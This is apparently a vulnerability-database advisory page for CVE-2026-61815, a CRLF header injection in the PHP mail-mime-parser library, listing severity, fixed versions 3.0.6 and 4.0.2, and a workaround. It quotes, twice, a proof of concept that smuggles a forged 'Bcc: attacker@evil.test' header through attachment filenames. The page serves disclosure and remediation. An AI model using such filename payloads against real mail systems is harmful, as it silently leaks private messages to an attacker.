CVE-2026-61815: Zbateson/mail mime parser Zbateson/mail-mime-parser Has CRLF Header Injection Vulnerability

HIGH
Advisory Identifier: GHSA-36h5-qg4p-q2qf
CVSS 7.2
CWE-93
Published
Advisory Summary

CVE-2026-61815 is a HIGH (CVSS 7.2) zbateson/mail-mime-parser has crlf header injection vulnerability (CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')) affecting Zbateson/mail mime parser libraries in the Packagist ecosystem. The issue involves zbateson/mail-mime-parser has crlf header injection via attachment filename. Remediation is available by upgrading affected packages to version 3.0.6, 4.0.2.

CVE-2026-61815 at a Glance

CVE Identifier CVE-2026-61815
GHSA Identifier GHSA-36h5-qg4p-q2qf
Severity HIGH
CVSS v3.1 Base Score 7.2
CWE Classification CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')
Affected Product Zbateson/mail mime parser
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-61815

To remediate this vulnerability, upgrade all affected Zbateson/mail mime parser dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

zbateson/mail-mime-parser fixed: 3.0.6
Upgrade zbateson/mail-mime-parser to 3.0.6
zbateson/mail-mime-parser fixed: 4.0.2
Upgrade zbateson/mail-mime-parser to 4.0.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for zbateson/mail-mime-parser

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-61815, inspect your project dependencies for Zbateson/mail mime parser:

inspect dependencies for zbateson/mail-mime-parser

Analyze the terminal output to locate any version of Zbateson/mail mime parser in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.0.6), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection'), where the product uses crlf (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes crlf sequences from inputs. In Zbateson/mail mime parser, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename. Attachment filenames are interpolated into the `Content-Type` and `Content-Disposition` header values without stripping CR/LF, so a filename containing `\r\n` serializes as one or more additional, attacker-controlled header lines (for example a forged `Bcc:` that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed. ### Details On the outbound side, `MultipartHelper::createAndAddPartForAttachment()` sanitizes the filename only with `iconv('UTF-8','US-ASCII//translit//ignore', $filename)`. CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via `MimePart::setRawHeader()`. A filename of `doc\r\nBcc: attacker@evil.test` therefore serializes as: ``` Content-Disposition: attachment; filename="doc Bcc: attacker@evil.test" ``` The `filename` value closes after `doc`, and `Bcc: attacker@evil.test` stands as its own header line. The decode side is affected as well, which is what makes purely inbound exploitation possible: - `ParameterPart::decodePartValue()` `rawurldecode()`s an RFC 2231 `filename*=` parameter with no control-character stripping, so a crafted `filename*=utf-8''doc%0D%0ABcc:...` makes `getFilename()` return a string with embedded `\r\n`. - The RFC 2047 path (`MimeToken`) strips `\r`/`\n` from the *encoded* word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value. As a result `getFilename()` can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused. ### Proof of concept ```php composer require zbateson/mail-mime-parser <?php require 'vendor/autoload.php'; use ZBateson\MailMimeParser\MailMimeParser; use ZBateson\MailMimeParser\Message; $parser = new MailMimeParser(); function attachAndReport(string $filename): void { $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false); $out->addAttachmentPart('payload', 'application/octet-stream', $filename); echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false) ? "INJECTED\n" : "clean\n"; } attachAndReport('invoice.pdf'); // => clean attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED // The CRLF reaches getFilename() straight from parsed mail via an // RFC 2231 filename*= parameter, so no local construction is needed: $inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n" . "--b\r\nContent-Type: application/octet-stream\r\n" . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n" . base64_encode('data') . "\r\n--b--\r\n"; $fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename(); var_dump($fn); // => string(28) "doc\r\nBcc: attacker@evil.test" attachAndReport($fn); // => INJECTED ``` ### Patches Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions. Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. ### Workarounds If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename). - Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

CVE-2026-61815 Affected Zbateson/mail mime parser Versions

2 component(s)
Fixed Versions:
3.0.64.0.2
Product / Package Ecosystem Affected Versions Fixed Version
zbateson/mail-mime-parser
Packagist
< 3.0.6
3.0.6
zbateson/mail-mime-parser
Packagist
≥ 4.0.0
< 4.0.2
4.0.2

References

Frequently Asked Questions

What is CVE-2026-61815?
CVE-2026-61815 is a security vulnerability in Zbateson/mail mime parser involving zbateson/mail-mime-parser has CRLF header injection via attachment filename under CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection').
Which Zbateson/mail mime parser versions are affected?
Affected versions include releases prior to 3.0.6, 4.0.2 across affected packages: zbateson/mail-mime-parser.
What version fixes CVE-2026-61815?
Upgrading to 3.0.6, 4.0.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is zbateson/mail-mime-parser affected?
Yes, zbateson/mail-mime-parser is affected in releases prior to 3.0.6, 4.0.2. Upgrade your dependency to 3.0.6, 4.0.2 or later.
What is the CVSS score of CVE-2026-61815?
CVE-2026-61815 has a CVSS v3.1 base score of 7.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-61815?
CVE-2026-61815 is classified under CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') (The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.).
How can I check Packagist dependencies for CVE-2026-61815?
Run the dependency tree command: 'inspect dependencies for zbateson/mail-mime-parser'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-36h5-qg4p-q2qf",
  "modified" : "2026-09-24T19:46:32Z",
  "published" : "2026-09-24T19:46:32Z",
  "aliases" : [ "CVE-2026-61815" ],
  "summary" : "zbateson/mail-mime-parser has CRLF header injection via attachment filename",
  "details" : "### Impact\n\nA CRLF (carriage-return / line-feed) header injection  affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.\n  \nAttachment filenames are interpolated into the `Content-Type` and `Content-Disposition` header values without stripping CR/LF, so a filename containing `\\r\\n` serializes as one or more additional, attacker-controlled header lines (for example a forged `Bcc:` that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.\n\n### Details\n\nOn the outbound side, `MultipartHelper::createAndAddPartForAttachment()` sanitizes the filename only with `iconv('UTF-8','US-ASCII//translit//ignore', $filename)`. CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via `MimePart::setRawHeader()`. A filename of `doc\\r\\nBcc: attacker@evil.test` therefore serializes as:\n\n```\nContent-Disposition: attachment;\n filename=\"doc\nBcc: attacker@evil.test\"\n```\n\nThe `filename` value closes after `doc`, and `Bcc: attacker@evil.test` stands as its own header line.\n\nThe decode side is affected as well, which is what makes purely inbound exploitation possible:\n\n- `ParameterPart::decodePartValue()` `rawurldecode()`s an RFC 2231 `filename*=` parameter with no control-character stripping, so\n  a crafted `filename*=utf-8''doc%0D%0ABcc:...` makes `getFilename()` return a string with embedded `\\r\\n`.\n- The RFC 2047 path (`MimeToken`) strips `\\r`/`\\n` from the *encoded* word, but then base64/quoted-printable-decodes it, which\n  can reintroduce CR/LF into the decoded value.\n\nAs a result `getFilename()` can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.\n\n### Proof of concept\n\n```php\ncomposer require zbateson/mail-mime-parser\n\n<?php\nrequire 'vendor/autoload.php';\nuse ZBateson\\MailMimeParser\\MailMimeParser;\nuse ZBateson\\MailMimeParser\\Message;\n\n$parser = new MailMimeParser();\n\nfunction attachAndReport(string $filename): void {\n    $out = Message::from(\"From: me@host\\r\\nContent-Type: text/plain\\r\\n\\r\\nhi\\r\\n\", false);\n    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);\n    echo (strpos($out->__toString(), \"\\r\\nBcc: attacker@evil.test\") !== false)\n        ? \"INJECTED\\n\" : \"clean\\n\";\n}\n\nattachAndReport('invoice.pdf');                    // => clean\nattachAndReport(\"doc\\r\\nBcc: attacker@evil.test\"); // => INJECTED\n\n// The CRLF reaches getFilename() straight from parsed mail via an\n// RFC 2231 filename*= parameter, so no local construction is needed:\n$inbound = \"Content-Type: multipart/mixed; boundary=b\\r\\n\\r\\n\"\n    . \"--b\\r\\nContent-Type: application/octet-stream\\r\\n\"\n    . \"Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\\r\\n\\r\\n\"\n    . base64_encode('data') . \"\\r\\n--b--\\r\\n\";\n$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();\nvar_dump($fn);        // => string(28) \"doc\\r\\nBcc: attacker@evil.test\"\nattachAndReport($fn); // => INJECTED\n```\n\n### Patches\n\nFixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.\n\nVersions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.\n\n### Workarounds\n\nIf upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\\r\\n]+/', ' ', $filename).\n\n- Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "zbateson/mail-mime-parser"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.0.6"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "zbateson/mail-mime-parser"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0"
      }, {
        "fixed" : "4.0.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/zbateson/mail-mime-parser/security/advisories/GHSA-36h5-qg4p-q2qf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-61815"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/zbateson/mail-mime-parser/commit/81859c06abb5d79f04b7a3254d293d0a91065948"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/zbateson/mail-mime-parser/commit/d2970b5df266f62e5ee8e675bfb05502b70fc6e1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/zbateson/mail-mime-parser"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/zbateson/mail-mime-parser/releases/tag/3.0.7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/zbateson/mail-mime-parser/releases/tag/4.0.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-93" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-24T19:46:32Z",
    "nvd_published_at" : "2026-09-24T18:17:17Z"
  }
}